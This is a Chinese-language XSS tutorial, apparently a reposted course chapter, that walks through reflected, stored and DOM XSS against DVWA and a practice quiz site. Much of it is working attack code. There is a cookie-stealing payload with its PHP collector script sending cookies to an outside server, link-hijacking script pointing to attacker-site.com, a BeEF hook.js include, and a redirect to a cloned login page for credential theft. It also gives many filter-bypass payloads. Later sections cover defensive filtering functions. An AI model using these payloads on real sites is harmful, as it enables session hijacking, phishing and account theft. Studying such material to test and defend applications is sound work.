-XSS漏洞

Posted g0rez

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了-XSS漏洞相关的知识,希望对你有一定的参考价值。

第四章-XSS漏洞

第一节 XSS跨站脚本分类

1.1 XSS漏洞介绍

​ 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

1.2 反射型XSS

反射型XSS又称非持久性XSS,这种攻击往往具有一次性。

攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞。

例如:

<?php
	echo $_GET[“uname”];
?>
当用户访问  url?uname=<script>alert(“hello”);</script>时,触发代码,弹出对话框。

1.3 存储型XSS

​ 存储型XSS又称持久型XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。

​ 攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。

例如:DVWA 中的 Stored XSS

1.4 DOM型XSS

​ DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。

DOM结构图

html标签都是节点,节点组成了节点树。通过HTML

DOM 可以对树上的所有节点进行修改。

服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代码,触发XSS漏洞。

例如:DVWA DOM XSS。

第二节 XSS盗取cookie

2.1 Cookie介绍

​ Cookie 是在 HTTP 协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web 服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。

​ 目前有些 Cookie 是临时的,有些则是持续的。临时的 Cookie 只在浏览器上保存一段规定的时间,一旦超过规定的时间,该 Cookie 就会被系统清除

​ 服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。

​ Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。

2.2 反射XSS盗取cookie

存在反射型XSS漏洞的站点位置 可以利用以下链接来盗取Cookie

url?uname=<script>document.location=http://ip/cookie.php?cookie=”+document.cookie:</script>

将连接发送到用户,用户点击即触发XSS漏洞。同时可以使用URL编码迷惑用户。

cookie.php代码:

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/xss_test/cookie.php?cookie='+document.cookie</script>#

2.3 利用cookie会话劫持

打开Cookie.txt文件,找到Cookie值,访问目标站点,修改Cookie为Cookie.txt文件中的内容。

2.4 劫持会话后的操作

1、进入后台寻找上传点等进一步利用漏洞给上传一句话Webshell。

2、修改配置等。

第三节 XSS篡改网页链接

3.1 JS代码讲解

window.onload 当窗口加载时,执行匿名函数。

使用for循环遍历所有获得的链接a标签。

<script>
window.onload = function() 
var link=document.getElementsByTagName("a");
for(j = 0; j < link.length; j++) 
  link[j].href="http://attacker-site.com/"; //替换为其他URL
 
</script>

3.2 XSS篡改链接

将篡改代码注入到对应的XSS位置。以DVWA 反射XSS为例。

3.3 篡改链接指向不良URL

刷流量,某些站点的重定向。

https://weibo.com/2081681517/GEZpU841G?ref=feedsdk&type=comment#_rnd1540197060886

3.4 篡改链接指向恶意URL

Beef 进行恶意链接生成,以及利用hook.js执行其他命令。

<script src=”http://192.168.253.28:3000/hook.js”></script>

第四节 XSS盗取用户信息

4.1 盗取用户信息原理

克隆网站登陆页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登陆页面,用户输入登陆,账号和密码被存储。

4.2 setookit工具克隆网站

万能的社工工具。

4.3 存储XSS跳转克隆网站

xss payload: <script>window.location=”http://192.168.253.28/” </script>

4.4 查看盗取账号和密码

第五节 没有过滤的XSS

5.1 实验环境介绍

https://xss-quiz.int21h.jp/

一个日本安全研究员制作的XSS练习靶场。

5.2 html中文本标签b介绍

<b> 标签规定粗体文本。

5.3 探测XSS过程

1、构造一个独一无二且不会被识别为恶意代码的字符串用来提交到页面。

例如:123qweasdzxc

2、使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示。

5.4 闭合文本标签利用XSS

1、简单Payload:

2、闭合标签Payload: “

第六节 标签属性中的XSS

6.1 配置Chrome关闭XSS-Auditor

https://xss-quiz.int21h.jp/ 利用XSS过程中会出现下图情况。配置Chrome --args --disable-xss-auditor

6.2 属性中的XSS发现

技巧:ctrl+F 搜索特定字符串

6.3 属性中的XSS闭合引入script

闭合引号 尖括号,引入script脚本

“><script>alert(document.domain);</script>

6.4 属性中的XSS闭合引入事件

" onmouseover=alert(document.domain)>

第七节 选择列表中的XSS

7.1 HTML select标签介绍

select 元素可创建单选或多选菜单。

<select> 元素中的 <option> 标签用于定义列表中的可用选项。

7.2 表单介绍

HTML 表单用于搜集不同类型的用户输入。

7.3 Burpsuite测试XSS

使用Burpsuite截取HTTP请求,修改提交参数。

7.4 闭合触发XSS

Japan</option><script>alert(document.domain)</script>

第八节 选择参数中的XSS

8.1 HTML表单隐藏参数介绍

隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。

代码格式:<input type="hidden" name="..." value="...">

8.2 Burpsuite抓包测试

使用Burpsutie进行抓包,截取提交的HTTP请求。

8.3 HTML中svg介绍

SVG 意为可缩放矢量图形(Scalable Vector Graphics)。

SVG 使用 XML 格式定义图像。

SVG 文件可通过以下标签嵌入 HTML 文档:<embed>、<object> 或者 <iframe>。

也可以使用svg标签插入。
<svg/事件=””>

8.4 闭合触发XSS

"><svg onload=alert(document.domain)>%0a

第九节 限制长度的XSS

9.1 HTML表单文本框介绍

HTML 表单用于搜集不同类型的用户输入。表单元素指的是不同类型的 input 元素、复选框、单选按钮、提交按钮等等。text定义常规文本输入。

属性介绍:

value 属性规定输入字段的初始值

readonly 属性规定输入字段为只读(不能修改)

disabled 属性规定输入字段是禁用的。被禁用的元素是不可用和不可点击的。被禁用的元素不会被提交。

size 属性规定输入字段的尺寸(以字符计)

maxlength 属性规定输入字段允许的最大长度

如设置 maxlength 属性,则输入控件不会接受超过所允许数的字符。

该属性不会提供任何反馈。如果需要提醒用户,则必须编写 javascript 代码

参考文档:http://www.w3school.com.cn/html/html_form_attributes.asp

9.2 XSS Payload长度计算

使用Python 内置函数 len(字符串) 计算对应的字节数。

9.3 浏览器审查工具修改源码

9.4 Payload触发XSS漏洞

"><svg/onload=alert(document.domain)>%0a

第十节 HTML事件中的XSS

10.1 HTML事件介绍

​ 在现代浏览器中都内置有大量的事件处理器。这些处理器会监视特定的条件或用户行为,例如鼠标单击或浏览器窗口中完成加载某个图像。通过使用客户端的 JavaScript,可以将某些特定的事件处理器作为属性添加给特定的标签,并可以在事件发生时执行一个或多个 JavaScript 命令或函数。

10.2 XSS漏洞发现

设置独一无二字符串提交,在响应中寻找。

10.3 闭合思路分析

1、通过HTML事件来触发XSS,” onmouseover=”alert(document.domain)
2、闭合input标签,加入<script>alert(document.domain);</script>

10.4 Payload触发XSS漏洞

第十一节 空格分隔属性中的XSS

11.1 XSS探测

空格分隔属性探测

11.2 触发XSS

Payload: 111 onmouseover=alert(document.domain);

第十二节 JavaScript伪协议触发XSS

12.1 JavaScript伪协议介绍

​ 将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。

javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

javascript URL还可以含有只执行动作,但不返回值的javascript语句。
javascript:alert("hello world!")

12.2 XSS漏洞发现

设置独一无二字符串提交,在响应中寻找。

12.3 a链接标签属性href介绍

<a> 标签定义超链接,用于从一个页面链接到另一个页面。

<a> 元素最重要的属性是 href 属性,它指定链接的目标。

在所有浏览器中,链接的默认外观如下:

未被访问的链接带有下划线而且是蓝色的 已被访问的链接带有下划线而且是紫色的 活动链接带有下划线而且是红色的

12.4 Payload触发XSS漏洞

Payload: javascript:alert(document.domain)

第十三节 绕过过滤domain为空的XSS

13.1 XSS漏洞发现

构造特殊无害字符串,响应中寻找字符串。

13.2 绕过思考

1、寻找过滤内容

2、思考绕过策略:

- 双写绕过

- 编码绕过

13.3 双写绕过

Payload: “> <script>alert(document.dodomainmain);</script>

13.4 编码绕过

Payload: "><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

第十四节 绕过替换script和on事件的XSS

14.1 XSS漏洞发现

构造特殊无害字符串,响应中寻找字符串。

14.2 绕过思考

1、寻找过滤内容

2、思考绕过策略:

- 伪协议绕过

14.3 伪协议绕过

Payload: “> <a href=”javascript:alert(document.domain)”>xss</a>

14.4 空格绕过

Payload: "><a href="javascr	ipt:alert(document.domain);">xss</a>"><a

第十五节 利用IE特性绕过XSS过滤

15.1 XSS漏洞发现

构造特殊无害字符串,响应中寻找字符串。

15.2 基本XSS利用

1、HTML事件触发XSS

2、闭合input,利用外部标签触发XSS

15.3 IE特性讲解

IE中 两个反引号 `` 可以闭合一个左边双引号。

15.4 Payload触发XSS

Payload: `` onmousemove=alert(document.domain)

第十六节 利用CSS特性绕过XSS过滤

16.1 XSS漏洞发现

构造特殊无害字符串,响应中寻找字符串。

16.2 基本XSS利用

1、HTML事件触发XSS

2、闭合input,利用外部标签触发XSS

16.3 XSS特性讲解

background:url("javascript:alert(document.domain);");  设置背景颜色

设置background:url ,利用javascript伪协议执行js。 目前IE浏览器支持,其他浏览器已经不再支持。

16.4 Payload触发XSS

Payload: background-color:#f00;background:url("javascript:alert(document.domain);");

第十七节 IE中利用CSS触发XSS

17.1 CSS介绍

​ 层叠样式表(英文全称:Cascading Style Sheets)是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准通用标记语言的一个子集)等文件样式的计算机语言。CSS不仅可以静态地修饰网页,还可以配合各种脚本语言动态地对网页各元素进行格式化。

17.2 CSS中执行js

​ css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在Css中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始,取消对css expression的支持。

实际应用

  早期很多开发人员利用css expression实现了许多效果,比如将元素相对鼠标指针进行定位,根据一个定时器来移动元素等等。当然这些效果能够使用js来实现。

  虽然css表达式问题很多,但是我们依然能够在网上看到它们的影子,甚至在一些成熟的商业网站上。最常见的一个应用就是悬浮在页面上的某个模块(比如导航、返回顶部)。

17.3 注释绕过关键字过滤

CSS中的注释 /**/

绕过对关键字expression的过滤。 ex/**/pression

17.4 Payload触发XSS

Payload: xss:expres/**/sion(if(!window.x)alert(document.domain);window.x=1;)

第十八节 16进制绕过过滤触发XSS

18.1 16进制介绍

​ 十六进制转换有16进制每一位上可以是从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F16个大小不同的数,即逢16进1,其中用A,B,C,D,E,F(字母不区分大小写)这六个字母来分别表示10,11,12,13,14,15。

使用python将字符转换为16进制类型。

18.2 XSS挖掘

构造无害独一字符串,在响应在寻找该字符串。

18.3 双斜杠+16进制绕过

18.4 Payload触发XSS

Payload: \\\\x3cscript\\\\x3ealert(document.domain);\\\\x3c/script\\\\x3e

第十九节 unicode绕过过滤XSS

19.1 unicode介绍

​ Unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。

使用python将字符转换为unicode类型。

19.2 XSS挖掘

构造无害独一字符串,在响应在寻找该字符串。

19.3 双斜杠+unicode绕过

19.4 Payload触发XSS

Payload: \\\\u003cscript\\\\u003ealert(document.domain);\\\\u003c/script\\\\u003e

第二十节 浏览器同源策略介绍

20.1 源的含义

源指源头,信息来源的位置。在计算机中源在RFC6454文档中规定,源是由协议、主机名、端口名组成。

范例: 协议://主机名:端口号/

例如:http://www.example.comhttps://www.example.com 不是同源。

20.2 同源策略

在计算机中,同源策略(Same-origin Policy , SOP)用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面。

只有两个页面属于同一个源才能互相访问。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错的。

例如:源A页面要访问源B页面认证Cookie,如果不加阻止读取Cookie,会造成Cookie欺骗绕过登陆验证。

注意:同源一定要是 协议、主机名、端口号完全一致。

20.3 IE源的特殊处理

1、位于可信域(Trust Zones)的互信的域名间,不受同源策略限制。

2、IE在判断同源时不考虑端口。

可是通过document.domain 读取或修改源。但是有限制,修改之后的源不能通过其他脚本再次修改。

20.4 document.domain

domain 属性可以解决因同源安全策略带来的不同文档的属性共享问题。降域 document.domain

同源策略认为域和子域属于不同的域,如:

child1.a.com 与 a.com,

child1.a.com 与 child2.a.com,

xxx.child1.a.com 与 child1.a.com

两两不同源,可以通过设置 document.damain='a.com',浏览器就会认为它们都是同一个源。想要实现以上任意两个页面之间的通信,两个页面必须都设置documen.damain='a.com'。

<html>
<body>

The domain name for this document is: 
<script type="text/javascript">
document.write(document.domain)
</script>

</body>
</html>

第二十一节 Cookie的httponly设置

21.1 cookie介绍

​ 指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。

​ Cookie 是在 HTTP 协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web 服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。无论何时用户链接到服务器,Web 站点都可以访问 Cookie 信息 。

​ 目前有些 Cookie 是临时的,有些则是持续的。临时的 Cookie 只在浏览器上保存一段规定的时间,一旦超过规定的时间,该 Cookie 就会被系统清除 。

21.2 cookie作用

​ cookie是存储再客户端上的一小段数据,浏览器(即客户端)通过HTTP协议和服务器端进行cookie交互,通常用来存储一些不敏感信息。
演示dvwa sql注入利用 sqlmap测试。

21.3 清除cookie

1、通过浏览器工具清除cookie;

2、通过设置cookie的有效期来清除cookie:删除cookie可能会导致某些页面不能用。

setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE); 设置secure参数为true之后,就不能使用js获取cookie.

第二十二节 XSS_Filter过滤器

22.1 htmlspecialchars()函数

htmlspecialchars(string,flags,character-set,double_encode)

参考链接:http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

22.2 htmlentities()函数

这个函数对于过滤用户输入的数据非常有用。它会将一些特殊字符转换为HTML实体。例如,用户输入<时,就会被该函数转化为HTML实体<(&lt),输入>就被转为实体&gt.

htmlentities(string,flags,character-set,double_encode)

参考链接:

http://www.w3school.com.cn/php/func_string_htmlentities.asp

http://www.w3school.com.cn/html/html_entities.asp

22.3 strip_tags()函数

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

注释:该函数是二进制安全的。

strip_tags(string,allow)

参考链接:http://www.w3school.com.cn/php/func_string_strip_tags.asp

22.4 自定义xss filter

可以直接使用

function xss_clean($data)

// Fix &entity\\n;
$data = str_replace(array('&amp;','&lt;','&gt;'), array('&amp;amp;','&amp;lt;','&amp;gt;'), $data);
$data = preg_replace('/(&#*\\w+)[\\x00-\\x20]+;/u', '$1;', $data);
$data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data);
$data = html_entity_decode($data, ENT_COMPAT, 'UTF-8');

// Remove any attribute starting with "on" or xmlns
$data = preg_replace('#(<[^>]+?[\\x00-\\x20"\\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data);

// Remove javascript: and vbscript: protocols
$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=[\\x00-\\x20]*([`\\'"]*)[\\x00-\\x20]*j[\\x00-\\x20]*a[\\x00-\\x20]*v[\\x00-\\x20]*a[\\x00-\\x20]*s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:#iu', '$1=$2nojavascript...', $data);
$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=([\\'"]*)[\\x00-\\x20]*v[\\x00-\\x20]*b[\\x00-\\x20]*s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:#iu', '$1=$2novbscript...', $data);
$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=([\\'"]*)[\\x00-\\x20]*-moz-binding[\\x00-\\x20]*:#u', '$1=$2nomozbinding...', $data);

// Only works in IE: <span style="width: expression(alert('Ping!'));"></span>
$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'"]*.*?expression[\\x00-\\x20]*\\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'"]*.*?behaviour[\\x00-\\x20]*\\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'"]*.*?s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:*[^>]*+>#iu', '$1>', $data);

// Remove namespaced elements (we do not need them)
$data = preg_replace('#</*\\w+:\\w[^>]*+>#i', '', $data);

do

    // Remove really unwanted tags
    $old_data = $data;
    $data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);

while ($old_data !== $data);

// we are done...
return $data;

第二十三节 编码转义介绍

23.1 URL编码

​ url的设计者,考虑到安全传输问题,防止url字符丢失,所以选用了相对较小的、通用的安全字母表。另一方面,url的设计者希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(比如中文)。所以url引入了一种转义机制,将不安全的字符编码为安全字符再进行传输。

​ 百分号编码:url编码包含一个百分号(%),后面跟着两个表示字符ASCII码的十六进制数。例如:空格转为“%20”。

23.2 html编码

​ 一些保留字符出现在文本节点和标签值里是不安全的。比如“<>”会导致浏览器误认为标签。如果想要正确的显示这些字符,需要使用html编码。

​ 实体编码:一般以“&”开头,“;”结尾,可以不加“;”。如:“<”转为“<”

​ 进制编码:以“&#”开头,加上字符的数值,“;”结尾,可以不加“;”。字符的数值可以是任意十进制ascii码或Unicode字符编码。十六进制的数值需要在编码数字前加“x”。如:“<”转为十进制的“<”或十六进制的“<”。

23.3 javascript编码

​ 数字形式:\\u后面加4位16进制数字(或\\x后加2位16进制数字),按字符的uncode数值编码,不足位数以零填充。如:“<”转为“\\u003c”或“\\x3c”。其中“\\u”开头的Unicode转义方式可以用在字符串之外的位置,其他的不可以。

jsfuck : http://www.jsfuck.com/

23.4 编码含义

浏览器对提交的编码进行自解析,执行

第二十四节 XSS过滤的绕过方法

24.1 本地环境搭建

在Web程序中找到过滤的函数,然后拷贝到本地环境,搭建完成。

24.2 XSS payload测试

kali linux下自带字典,在CTF比赛中经常使用

24.3 自动化工具测试

使用Burpsuite进行自动化探测。

24.4 关注最新HTML等内容

例如HTML5中新标签
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>

参考:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

第二十五节 XSS发生的位置

25.1 GET型URL中的XSS

如果在URL中提交的参数值,在页面中显示。很有可能就存在XSS。

25.2 POST型表单中的XSS

如果在表单中提交的参数值,在页面中显示。很有可能就存在XSS。

25.3 JSON中的XSS

JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

JSON最常用的格式是对象的 键值对。例如下面这样:

"firstName": "Brett", "lastName": "McLaughlin"

25.4 自定义HTTP头中的XSS

如果在HTTP自定义头中提交的参数值,在页面中显示。很有可能就存在XSS。

第二十六节 存储型XSS灰盒测试

26.1 环境搭建

使用PhpStudy搭建 微社区程序——ROCBOSS

26.2 定向XSS挖掘

XSS漏洞可以存在于个人资料处,文章发表处或者留言评论处等等

发表文章功能的未知被HTML实体化,无法继续XSS

26.3 黑名单审计

私信位置没有被实体化,可以进行XSS,但是被黑名单过滤。

没有过滤details和ontaggle

26.4 绕过过滤,触发XSS

已知程序过滤了javascript,构造Payload。
"><details open ontoggle=eval("\\x6a\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x3aalert('xss')")><"

第二十七节 自动化工具XSS漏洞挖掘工具-XSSer

27.1 xsser工具介绍

xsser是一款用于针对Web应用程序自动化挖掘、利用、报告xss漏洞的框架。

27.2 xsser工具原理

官方网站:http://xsser.03c8.net

也是在不断拼接Payload

27.3 xsser帮助信息

在终端中输入 xsser -h 或 xsser --help

注意:使用命令行工具时,不需要全部记忆参数,只需要熟练或者用到的时候查找即可。

27.4 xsser启动方式

xsser启动方式可以分为命令行启动、图形化界面启动。

在终端中输入xsser --gtk

不同:性能与使用是否简单。

第二十八节 XSS_Fuzzing工具

28.1 XSStrike工具介绍

​ XSStrike是一款检测Cross Site Scripting的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。

项目地址:https://github.com/s0md3v/XSStrike

28.2 XSStrike工具安装

由于XSStrike只可以运行在python 3.6 以上版本,所以必须使用python3.6版本。

sudo apt-get install python3-pip
git clone https://github.com/s0md3v/XSStrike.git
pip3 install -r requirements.txt
chmod +x xsstrike.py

28.3 XSStrike帮助信息

在终端中输入 xsstrike -h 或 xsstrike --help

28.4 XSStrike实例演示

演示代码:

<html>
<?php $n = $_GET[“name”];echo $n;?>
</html>

以上是关于-XSS漏洞的主要内容,如果未能解决你的问题,请参考以下文章

从零学习安全测试,从XSS漏洞攻击和防御开始

XSS漏洞攻防

从零学习安全测试,从XSS漏洞攻击和防御开始

XSS漏洞攻击

XSS漏洞自动化攻击工具XSSer

XSS 漏洞介绍